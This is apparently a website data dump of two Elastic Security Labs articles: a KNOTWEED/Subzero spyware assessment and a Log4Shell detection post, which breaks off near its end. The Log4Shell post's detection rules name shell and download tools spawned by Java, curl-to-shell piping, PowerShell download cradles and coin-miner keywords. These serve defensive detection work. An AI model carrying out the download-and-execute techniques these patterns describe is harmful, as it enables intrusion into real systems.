h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"KNOTWEED Assessment Summary","slug":"knotweed-assessment-summary","date":"2022-11-30","description":"KNOTWEED deploys the Subzero spyware through the use of 0-day exploits for Adobe Reader and the Windows operating system. Once initial access is gained, it uses different sections of Subzero to maintain persistence and perform actions on the host.","image":"blog-thumb-blind-spots.png","body":{"raw":"\n## Key Takeaways\n\n- KNOTWEED is an activity group sponsored by the PSOA entity DSIRF\n\n- KNOTWEED uses 0-day exploits to load custom malware and frameworks onto victim systems\n\n- Elastic Endpoint Security prevents the execution chain of the VBA from infecting the host with spyware associated with KNOTWEED\n\n## Summary\n\nOn July 27, 2022, Microsoft Threat Intelligence Center (MSTIC) [disclosed](https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/) a private-sector offensive actor (PSOA) that is using 0-day exploits in targeted attacks against European and Central American victims. MSTIC and others are tracking this activity group as KNOTWEED.\n\nPSOAs sell hacking tools, malware, exploits, and services. KNOTWEED is produced by the PSOA named [DSIRF](https://web.archive.org/web/20220713203741/https:/dsirf.eu/about/). DSIRF has been linked to the sale of a malicious toolset (among others) called Subzero which has been observed being deployed through the use of 0-day exploits targeting Adobe and the Windows operating system.\n\nMSTIC has observed victims in the legal, financial, and NGO verticals in Europe and Latin America.\n\n## Assessment\n\n### Risk\n\nKNOTWEED deploys the Subzero spyware through the use of 0-day exploits for Adobe Reader and the Windows operating system. Once initial access is gained, KNOTWEED uses different sections of Subzero to maintain persistence (Jumplump) and to perform actions on the infected host (Corelump).\n\nSuccessful execution of the Subzero spyware allows for the clandestine collection of sensitive information such as credential pairs, system locations, internal reconnaissance, and other remote access capabilities common among spyware.\n\n### Impact\n\nPSOAs are commonly used by activity groups as a way to “leapfrog” capabilities in exploiting and attacking well-defended targets. These activity groups include national intelligence and law enforcement organizations performing sanctioned operations, as well as oppressive governments as a way to collect information on journalists, political dissidents, and activists.\n\nSuccessful execution of the Subzero spyware payload could put targets in danger of physical harm or persecution from non-law enforcement organizations.\n\n### Countermeasures\n\n**Elastic Protections** \nAttempts to use a Visual Basic for Applications (VBA) script for initial execution generates a **Memory Threat Prevention Alert: Shellcode Injection** event. This would stop the execution chain from proceeding and prevent the Subzero spyware from infecting the host.\n\n\n\n\n\nAs of this writing, 4 of the indicators provided by MSTIC were detected by the Elastic malware scoring model as being malicious. The 4 files are used for initial execution (the VBA), credential theft (PassLib), a modular hacking tool (Mex), and the main malware (Corelump). Indicators that were undetected were variations of the persistence loader (Jumplump).\n\nWhile the persistence loader is not detected as malicious, the initial execution prevention of the VBA stops the malware from getting to the persistence phase of the infection.\n\nAll files have been tagged as malicious and will be reflected in the next malware model.\n\n**Elastic Detections**\n\nThe following existing public Detection Rules would have identified the main persistence method used by the JumpLump malware and other post-exploitation techniques :\n\n- [Modification of WDigest Security Provider](https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_mod_wdigest_security_provider.toml)\n- [Potential Credential Access via Windows Utilities](https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_cmdline_dump_tool.toml)\n- [Component Object Model Hijacking](https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml)\n\n\n\n**Hunting Queries**\n\nThe following EQL queries can be used to hunt for additional behaviors related to JumpLump:\n\n_Abnormally large JPEG dropped by Jumplump:_\n\n```\nfile where event.action != \"deletion\" and\nprocess.executable : \"?:\\\\Windows\\\\System32\\\\*.exe\" and\nfile.path : \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Temp\\\\*.jpg\" and file.name regex \"\"\"[0-9]{17}\\.jpg\"\"\" and file.size \u003e= 1000000\n```\n\n\n\n_Image load or PE file creation in the print spooler color directory:_\n\n```\nany where event.category in (\"file\", \"library\") and (file.path : \"?:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\color\\\\*.dll\" or dll.path : \"?:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\color\\\\*.dll\")\n```\n\n\n\n**Observations**\n\nWhile there have been no customer observations in Elastic telemetry, this is not unexpected as this activity group has been observed targeting particular victims and the attack pattern or intrusion set appears to be very niche and not widespread. Elastic Security will continue to observe the threat actor and update our readers accordingly.\n\n## Terminology\n\n- **0-day exploit** - vulnerability previously unknown to defenders and does not have a public patch\n- **Activity Group** - individuals, groups, or organizations believed to be operating with malicious intent\n- **Attack Pattern** - describe ways that adversaries attempt to compromise targets\n- **Intrusion Set** - adversarial behaviors and resources with common properties that are believed to be orchestrated by a single organization\n\n## References\n\n- https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/\n","code":"var Component=(()=\u003e{var h=Object.create;var o=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),w=(t,e)=\u003e{for(var i in e)o(t,i,{get:e[i],enumerable:!0})},a=(t,e,i,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let s of m(e))!g.call(t,s)\u0026\u0026s!==i\u0026\u0026o(t,s,{get:()=\u003ee[s],enumerable:!(r=p(e,s))||r.enumerable});return t};var y=(t,e,i)=\u003e(i=t!=null?h(u(t)):{},a(e||!t||!t.__esModule?o(i,\"default\",{value:t,enumerable:!0}):i,t)),b=t=\u003ea(o({},\"__esModule\",{value:!0}),t);var c=f((A,l)=\u003e{l.exports=_jsx_runtime});var S={};w(S,{default:()=\u003eE,frontmatter:()=\u003ev});var n=y(c()),v={title:\"KNOTWEED Assessment Summary\",slug:\"knotweed-assessment-summary\",date:\"2022-11-30\",description:\"KNOTWEED deploys the Subzero spyware through the use of 0-day exploits for Adobe Reader and the Windows operating system. Once initial access is gained, it uses different sections of Subzero to maintain persistence and perform actions on the host.\",author:[{slug:\"andrew-pease\"}],image:\"blog-thumb-blind-spots.png\",category:[{slug:\"security-research\"},{slug:\"vulnerability-updates\"}]};function d(t){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",p:\"p\",a:\"a\",h3:\"h3\",strong:\"strong\",br:\"br\",img:\"img\",em:\"em\",pre:\"pre\",code:\"code\"},t.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key Takeaways\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsx)(e.p,{children:\"KNOTWEED is an activity group sponsored by the PSOA entity DSIRF\"}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsx)(e.p,{children:\"KNOTWEED uses 0-day exploits to load custom malware and frameworks onto victim systems\"}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsx)(e.p,{children:\"Elastic Endpoint Security prevents the execution chain of the VBA from infecting the host with spyware associated with KNOTWEED\"}),`\n`]}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"summary\",children:\"Summary\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"On July 27, 2022, Microsoft Threat Intelligence Center (MSTIC) \",(0,n.jsx)(e.a,{href:\"https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/\",rel:\"nofollow\",children:\"disclosed\"}),\" a private-sector offensive actor (PSOA) that is using 0-day exploits in targeted attacks against European and Central American victims. MSTIC and others are tracking this activity group as KNOTWEED.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"PSOAs sell hacking tools, malware, exploits, and services. KNOTWEED is produced by the PSOA named \",(0,n.jsx)(e.a,{href:\"https://web.archive.org/web/20220713203741/https:/dsirf.eu/about/\",rel:\"nofollow\",children:\"DSIRF\"}),\". DSIRF has been linked to the sale of a malicious toolset (among others) called Subzero which has been observed being deployed through the use of 0-day exploits targeting Adobe and the Windows operating system.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"MSTIC has observed victims in the legal, financial, and NGO verticals in Europe and Latin America.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"assessment\",children:\"Assessment\"}),`\n`,(0,n.jsx)(e.h3,{id:\"risk\",children:\"Risk\"}),`\n`,(0,n.jsx)(e.p,{children:\"KNOTWEED deploys the Subzero spyware through the use of 0-day exploits for Adobe Reader and the Windows operating system. Once initial access is gained, KNOTWEED uses different sections of Subzero to maintain persistence (Jumplump) and to perform actions on the infected host (Corelump).\"}),`\n`,(0,n.jsx)(e.p,{children:\"Successful execution of the Subzero spyware allows for the clandestine collection of sensitive information such as credential pairs, system locations, internal reconnaissance, and other remote access capabilities common among spyware.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"impact\",children:\"Impact\"}),`\n`,(0,n.jsx)(e.p,{children:\"PSOAs are commonly used by activity groups as a way to \\u201Cleapfrog\\u201D capabilities in exploiting and attacking well-defended targets. These activity groups include national intelligence and law enforcement organizations performing sanctioned operations, as well as oppressive governments as a way to collect information on journalists, political dissidents, and activists.\"}),`\n`,(0,n.jsx)(e.p,{children:\"Successful execution of the Subzero spyware payload could put targets in danger of physical harm or persecution from non-law enforcement organizations.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"countermeasures\",children:\"Countermeasures\"}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.strong,{children:\"Elastic Protections\"}),(0,n.jsx)(e.br,{}),`\n`,\"Attempts to use a Visual Basic for Applications (VBA) script for initial execution generates a \",(0,n.jsx)(e.strong,{children:\"Memory Threat Prevention Alert: Shellcode Injection\"}),\" event. This would stop the execution chain from proceeding and prevent the Subzero spyware from infecting the host.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/knotweed-assessment-summary/1.png\",alt:\"\",width:\"1440\",height:\"517\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/knotweed-assessment-summary/2.png\",alt:\"\",width:\"1440\",height:\"1346\"})}),`\n`,(0,n.jsx)(e.p,{children:\"As of this writing, 4 of the indicators provided by MSTIC were detected by the Elastic malware scoring model as being malicious. The 4 files are used for initial execution (the VBA), credential theft (PassLib), a modular hacking tool (Mex), and the main malware (Corelump). Indicators that were undetected were variations of the persistence loader (Jumplump).\"}),`\n`,(0,n.jsx)(e.p,{children:\"While the persistence loader is not detected as malicious, the initial execution prevention of the VBA stops the malware from getting to the persistence phase of the infection.\"}),`\n`,(0,n.jsx)(e.p,{children:\"All files have been tagged as malicious and will be reflected in the next malware model.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Elastic Detections\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The following existing public Detection Rules would have identified the main persistence method used by the JumpLump malware and other post-exploitation techniques :\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_mod_wdigest_security_provider.toml\",rel:\"nofollow\",children:\"Modification of WDigest Security Provider\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_cmdline_dump_tool.toml\",rel:\"nofollow\",children:\"Potential Credential Access via Windows Utilities\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml\",rel:\"nofollow\",children:\"Component Object Model Hijacking\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/knotweed-assessment-summary/3.png\",alt:\"\",width:\"1440\",height:\"544\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Hunting Queries\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The following EQL queries can be used to hunt for additional behaviors related to JumpLump:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.em,{children:\"Abnormally large JPEG dropped by Jumplump:\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`file where event.action != \"deletion\" and\nprocess.executable : \"?:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\*.exe\" and\nfile.path : \"?:\\\\\\\\Users\\\\\\\\*\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\*.jpg\" and file.name regex \"\"\"[0-9]{17}\\\\.jpg\"\"\" and file.size \u003e= 1000000\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/knotweed-assessment-summary/4.png\",alt:\"\",width:\"1440\",height:\"497\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.em,{children:\"Image load or PE file creation in the print spooler color directory:\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`any where event.category in (\"file\", \"library\") and (file.path : \"?:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\spool\\\\\\\\drivers\\\\\\\\color\\\\\\\\*.dll\" or dll.path : \"?:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\spool\\\\\\\\drivers\\\\\\\\color\\\\\\\\*.dll\")\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/knotweed-assessment-summary/5.png\",alt:\"\",width:\"1440\",height:\"586\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.strong,{children:\"Observations\"})}),`\n`,(0,n.jsx)(e.p,{children:\"While there have been no customer observations in Elastic telemetry, this is not unexpected as this activity group has been observed targeting particular victims and the attack pattern or intrusion set appears to be very niche and not widespread. Elastic Security will continue to observe the threat actor and update our readers accordingly.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"terminology\",children:\"Terminology\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"0-day exploit\"}),\" - vulnerability previously unknown to defenders and does not have a public patch\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Activity Group\"}),\" - individuals, groups, or organizations believed to be operating with malicious intent\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Attack Pattern\"}),\" - describe ways that adversaries attempt to compromise targets\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Intrusion Set\"}),\" - adversarial behaviors and resources with common properties that are believed to be orchestrated by a single organization\"]}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/\",rel:\"nofollow\",children:\"https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/\"})}),`\n`]})]})}function x(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(d,t)})):d(t)}var E=x;return b(S);})();\n;return Component;"},"_id":"articles/knotweed-assessment-summary.mdx","_raw":{"sourceFilePath":"articles/knotweed-assessment-summary.mdx","sourceFileName":"knotweed-assessment-summary.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/knotweed-assessment-summary"},"type":"Article","imageUrl":"/assets/images/knotweed-assessment-summary/blog-thumb-blind-spots.png","readingTime":"4 min read","series":"","url":"/knotweed-assessment-summary","headings":[{"level":2,"title":"Key Takeaways","href":"#key-takeaways"},{"level":2,"title":"Summary","href":"#summary"},{"level":2,"title":"Assessment","href":"#assessment"},{"level":3,"title":"Risk","href":"#risk"},{"level":3,"title":"Impact","href":"#impact"},{"level":3,"title":"Countermeasures","href":"#countermeasures"},{"level":2,"title":"Terminology","href":"#terminology"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Andrew Pease","slug":"andrew-pease","description":"Elastic Security Labs Technical Lead","image":"andrew-pease.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var f=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,o)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of x(t))!l.call(e,a)\u0026\u0026a!==n\u0026\u0026s(e,a,{get:()=\u003et[a],enumerable:!(o=p(t,a))||o.enumerable});return e};var _=(e,t,n)=\u003e(n=e!=null?m(g(e)):{},c(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),w=e=\u003ec(s({},\"__esModule\",{value:!0}),e);var u=f((C,i)=\u003e{i.exports=_jsx_runtime});var h={};j(h,{default:()=\u003eb,frontmatter:()=\u003eL});var r=_(u()),L={title:\"Andrew Pease\",description:\"Elastic Security Labs Technical Lead\",slug:\"andrew-pease\",image:\"andrew-pease.jpg\"};function d(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(d,e)})):d(e)}var b=M;return w(h);})();\n;return Component;"},"_id":"authors/andrew-pease.mdx","_raw":{"sourceFilePath":"authors/andrew-pease.mdx","sourceFileName":"andrew-pease.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/andrew-pease"},"type":"Author","imageUrl":"/assets/images/authors/andrew-pease.jpg","url":"/authors/andrew-pease"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Vulnerability updates","slug":"vulnerability-updates","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var o=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of d(e))!p.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(f(t)):{},u(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003eu(o({},\"__esModule\",{value:!0}),t);var c=_((X,i)=\u003e{i.exports=_jsx_runtime});var D={};g(D,{default:()=\u003eC,frontmatter:()=\u003ey});var r=j(c()),y={title:\"Vulnerability updates\",slug:\"vulnerability-updates\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=M;return b(D);})();\n;return Component;"},"_id":"categories/vulnerability-updates.mdx","_raw":{"sourceFilePath":"categories/vulnerability-updates.mdx","sourceFileName":"vulnerability-updates.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/vulnerability-updates"},"type":"Category","url":"/categories/vulnerability-updates"}]},{"title":"Detecting Exploitation of CVE-2021-44228 (Log4j2) with Elastic Security","slug":"detecting-log4j2-with-elastic-security","date":"2022-11-22","description":"This blog post provides a summary of CVE-2021-44228 and provides Elastic Security users with detections to find active exploitation of the vulnerability in their environment. Further updates will be provided to this post as we learn more.","image":"blog-security-detection-720x420.png","body":{"raw":"\n\u003e - _To understand how Elastic is currently assessing internal risk of this vulnerability in our products please see the advisory_[_here._](https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476)\n\u003e - _This blog has been updated (Dec. 17, 2021) with further detection and hunting improvements since its initial publish._\n\n## Overview\n\nThis blog post provides a summary of CVE-2021-44228 and provides Elastic Security users with detections to find active exploitation of the vulnerability in their environment.\n\nFurther updates will be provided to this post as we learn more. This version is accurate as of Tuesday, December 14, 2021. Updates from Apache may be investigated directly via the [security page](https://logging.apache.org/log4j/2.x/security.html#) for Log4j2.\n\n## Summary of CVE-2021-44228 (Log4Shell)\n\nLog4j2 is an open source logging framework incorporated into many Java based applications on both end-user systems and servers. In [late November 2021](https://logging.apache.org/log4j/2.x/security.html#), Chen Zhaojun of Alibaba identified a remote code execution vulnerability, ultimately being reported under the CVE ID : [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228), released to the public on December 10, 2021. The vulnerability is exploited through improper deserialization of user-input passed into the framework. It permits remote code execution and it can allow an attacker to leak sensitive data, such as environment variables, or execute malicious software on the target system.\n\nThe identified vulnerability impacts all versions of Log4j2 from version 2.0-beta9 to version 2.14.1. Early methods to patch the issue resulted in a number of release candidates, culminating in recommendations to upgrade the framework to Log4j2 2.15.0-rc2 at the time of this post.\n\nGiven the trivial complexity and the nature of observed widespread exploitation, mitigation should be considered critical in any environment that has identified software leveraging vulnerable versions of Log4j2.\n\n## Detecting Exploitation of Log4Shell in Elastic Security\n\nElastic Security users can use the following Event Correlation detection rule to identify active exploitation of the Log4j2 vulnerability. Depending on the format of the host based event data you may need to modify this detection to match your data fields.\n\n**Detection Rule when using Endpoint data**\n\n```\nsequence by host.id with maxspan=1m\n [network where event.action == \"connection_attempted\" and\n process.name : \"java\" and\n /*\n outbound connection attempt to\n LDAP, RMI or DNS standard ports\n by JAVA process\n */\n destination.port in (1389, 389, 1099, 53, 5353)] by process.pid\n [process where event.type == \"start\" and\n\n /* Suspicious JAVA child process */\n process.parent.name : \"java\" and\n process.name : (\"sh\",\n \"bash\",\n \"dash\",\n \"ksh\",\n \"tcsh\",\n \"zsh\",\n \"curl\",\n \"perl*\",\n \"python*\",\n \"ruby*\",\n \"php*\",\n \"wget\")] by process.parent.pid\n```\n\n**Detection Rule when using Auditbeat data**\n\n```\nsequence by agent.id with maxspan=1m\n [network where event.action == \"connected-to\" and\n process.name : \"java\" and\n /*\n outbound connection attempt to\n LDAP, RMI or DNS standard ports\n by JAVA process\n */\n destination.port in (1389, 389, 1099, 53, 5353)] by process.pid\n [process where event.type == \"start\" and\n\n /* Suspicious JAVA child process */\n process.parent.name : \"java\" and\n process.name : (\"sh\",\n \"bash\",\n \"dash\",\n \"ksh\",\n \"tcsh\",\n \"zsh\",\n \"curl\",\n \"perl*\",\n \"python*\",\n \"ruby*\",\n \"php*\",\n \"wget\")] by process.parent.pid\n```\n\n**Detection rule when using Endgame streamed events**\n\n```\nsequence by agent.id with maxspan=1m\n [network where event.category == \"network\" and\n process.name : \"java\" and\n /*\n outbound connection attempt to\n LDAP, RMI or DNS standard ports\n by JAVA process\n */\n destination.port in (1389, 389, 1099, 53, 5353)] by process.pid\n [process where event.type == \"start\" and\n\n /* Suspicious JAVA child process */\n process.parent.name : \"java\" and\n process.name : (\"sh\",\n \"bash\",\n \"dash\",\n \"ksh\",\n \"tcsh\",\n \"zsh\",\n \"curl\",\n \"perl*\",\n \"python*\",\n \"ruby*\",\n \"php*\",\n \"wget\")] by process.parent.pid\n```\n\nThis detection rule looks for a sequence of an outbound connection attempt to standard ports for LDAP, RMI and DNS (often abused via recently observed [JAVA/JNDI](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) injection attacks) followed by a child process of the same Java process instance.\n\nNow, let’s demonstrate how this rule detects exploitation of the log42j vulnerability:\n\n\n\nThe screenshot above shows an attacker exploiting the vulnerability with a base-64 encoded payload targeting an [example vulnerable application](https://github.com/christophetd/log4shell-vulnerable-app) created by [Christophe Tafani-Dereeper](https://github.com/christophetd).\n\n\n\nThis screenshot shows the detection of the active exploitation of CVE-2021-44228 within Elastic Security detailing both the alert and timeline view of the exploit.\n\n\n\nThe screenshot above shows in the investigation of the detection alert that Java executed a shell script to download and run a bash script.\n\n## Update: Detection \u0026 hunting improvements\n\n**Suspicious Shell Commands Execution via Java**\n\nBased on observed publicly known malicious Java classes served via log4j exploit, you can hunt for suspicious shell scripts and ingress tool transfer commands:\n\n```\nprocess where event.type == \"start\" and\n process.parent.name : \"java*\" and\n\n /* Ingress tools transfer via common shell command interpreters */\n\n /* linux or macos */\n (\n (process.name : (\"sh\", \"bash\", \"python*\") and\n process.command_line : (\"*curl*|*sh*\", \"*wget*|*bash\", \"*curl*|*bash*\", \"*curl*|*bash*\", \"*http*|*sh*\", \"*python*http*\")) or\n\n /* windows */\n (process.name : (\"powershell.exe\", \"pwsh.exe\", \"cmd.exe\") and\n process.command_line : (\"*.downloadstring*\", \"*.downloadfile*\", \"*.downloaddata*\", \"*BitsTransfer*\", \"* -enc*\", \"* IEX*\", \"*wp-content*\", \"*wp-admin*\", \"*wp-includes*\", \"*$*$*$*$*$*\", \"*^*^*^*^*^*^*^*^*^*\", \"*.replace*\", \"*start-process*\", \"*http*\", \"*cmd*powershell*\")))\n```\n\n**Untrusted File Execution via JAVA**\n\nIdentifies when a JAVA interpreter creates an executable file (PE/ELF) and the file is subsequently executed.\n\n**Detection Rule when using Endpoint data**\n\n```\nsequence by host.id with maxspan=5m\n [ file where event.type != \"deletion\" and\n process.name : (\"java\", \"java.exe\", \"javaw.exe\") and\n\n (file.extension : (\"exe\", \"com\", \"pif\", \"scr\") or\n /* Match Windows PE files by header data (MZ) */\n file.Ext.header_bytes : (\"4d5a*\", \"7f454c46*\")) and\n\n not file.path : (\"?:\\\\Program Files\\\\*\",\n \"?:\\\\Program Files (x86)\\\\*\") ] by file.path\n [ process where event.type == \"start\" and\n not process.code_signature.trusted == true ] by process.executable\n```\n\n**Detection rule when using Endgame streamed events**\n\n```\nsequence by agent.id with maxspan=5m\n [ file where event.type != \"deletion\"\n process.name : (\"java\", \"java.exe\", \"javaw.exe\")] by file_path\n [ process where event.type == \"start\" and\n not process.code_signature.trusted == true] by process_path\n```\n\n**Potential CoinMiner activity**\n\nProcess with command line common to cryptocurrency miner (most observed campaigns leveraging log4j exploit are coinminers):\n\n```\nprocess where event.type == \"start\" and\n process.command_line :\n (\"* pool.*\", \"*-u*--coin*\", \"*.xmr.*\", \"*.xmr1.*\",\n \"*stratum*\", \"*elitter.net*\", \"*cryptonight*\",\n \"*-a scrypt*\", \"*stratum1*\", \"*-userpass*\", \"*-max-cpu-usage*\",\n\t \"*qhor.net*\", \"*-wallet*pool*\", \"*--donate-level*\", \"*supportxmr.com*\")\n```\n\nOther relevant post exploitation detections :\n\n[Attempt to Disable IPTables or Firewall](https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_attempt_to_disable_iptables_or_firewall.toml)\n\n[Tampering of Bash Command-Line History](https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_deletion_of_bash_command_line_history.toml)\n\n[System Log File 